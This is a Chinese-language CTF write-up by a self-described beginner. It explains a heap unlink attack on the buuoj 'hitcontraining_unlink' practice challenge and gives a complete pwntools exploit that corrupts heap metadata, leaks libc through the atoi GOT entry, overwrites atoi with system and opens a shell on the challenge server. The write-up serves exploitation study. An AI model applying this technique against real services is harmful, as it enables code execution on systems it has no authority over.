参考此博主侵删
以buuoj 的hitcontraining_unlink 1 为例子,学习一下unlink。
程序有四个功能
1、show
2、add
3、edit (对长度没有限制存在堆溢出)
4、free
edit功能
原程序存在后门,但是在buuoj上做好像没有用。
接下来直接进行unlink:
思路:1、通过堆溢出改下一堆块使得presize位状态置0,同时改下一堆块的size
最后一位为0(unlink绕过free的检测)
2、同时在堆块上要构造fd=chunk-0x18 bk=chunk-0x10 才能通过检测。
根据以上思路先构造几个堆块。
chunk=0x6020C8 # on the bss
add(0x40,'aaaa')
add(0x80,'bbbb')
add(0x80,'/bin/sh\x00')
add(0x80,'/bin/sh\x00')
此处的chunk为bss段上的地址。
接下来是unlink的关键:
payload=p64(0)+p64(0x41)+p64(chunk-0x18)+p64(chunk-0x10)+p64(0)*4+p64(0x40)+p64(0x90)
edit(0,len(payload),payload)
dele(1)
先伪造一个堆块头,然后写入fd和bk指针,最后通过溢出到下一堆块,写入0x40,和0x90(表示上一堆块以及当前堆块都空闲)
接下来free堆块1 则会实现unlink。
此时堆块0的fd指针指向chunk-0x18 所以此时edit堆块0时会在chunk-0x18上写。
payload=p64(0)*2+p64(0x40)+p64(elf.got['atoi'])
edit(0,len(payload),payload)
show()
p.recvuntil("0 : ")
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['atoi']
system=libcbase+libc.sym['system']
print('system: ',hex(system))
这时候show 就可以泄露atoi的got表地址,实现libc偏移的计算。
然后通过edit改写atoi为system,最后send /bin/sh就能触发system('/bin/sh')了
payload=p64(system)
edit(0,len(payload),payload)
p.sendlineafter('Your choice:','/bin/sh\x00')
完整wp:
from pwn import*
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
p=remote('node4.buuoj.cn',29027)
#p=process('./bam')
elf=ELF('./bam')
libc=ELF('./libc-2.23.so')
def add(length,name):
p.sendline('2')
p.sendlineafter('Please enter the length of item name:',str(length))
p.sendlineafter('Please enter the name of item:',name)
def show():
p.sendline('1')
def edit(index,length,item):
p.sendline('3')
p.sendlineafter('Please enter the index of item:',str(index))
p.sendlineafter('Please enter the length of item name:',str(length))
p.sendlineafter('Please enter the new name of the item:',item)
def dele(index):
p.sendline('4')
p.sendlineafter('Please enter the index of item:',str(index))
chunk=0x6020C8 # on the bss
add(0x40,'aaaa')
add(0x80,'bbbb')
add(0x80,'/bin/sh\x00')
add(0x80,'/bin/sh\x00')
payload=p64(0)+p64(0x41)+p64(chunk-0x18)+p64(chunk-0x10)+p64(0)*4+p64(0x40)+p64(0x90)
edit(0,len(payload),payload)
dele(1)
payload=p64(0)*2+p64(0x41)+p64(elf.got['atoi'])
edit(0,len(payload),payload)
show()
p.recvuntil("0 : ")
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['atoi']
system=libcbase+libc.sym['system']
print('system: ',hex(system))
payload=p64(system)
edit(0,len(payload),payload)
p.sendlineafter('Your choice:','/bin/sh\x00')
#gdb.attach(p)
p.interactive()
本人纯纯萌新,希望各位大佬指正。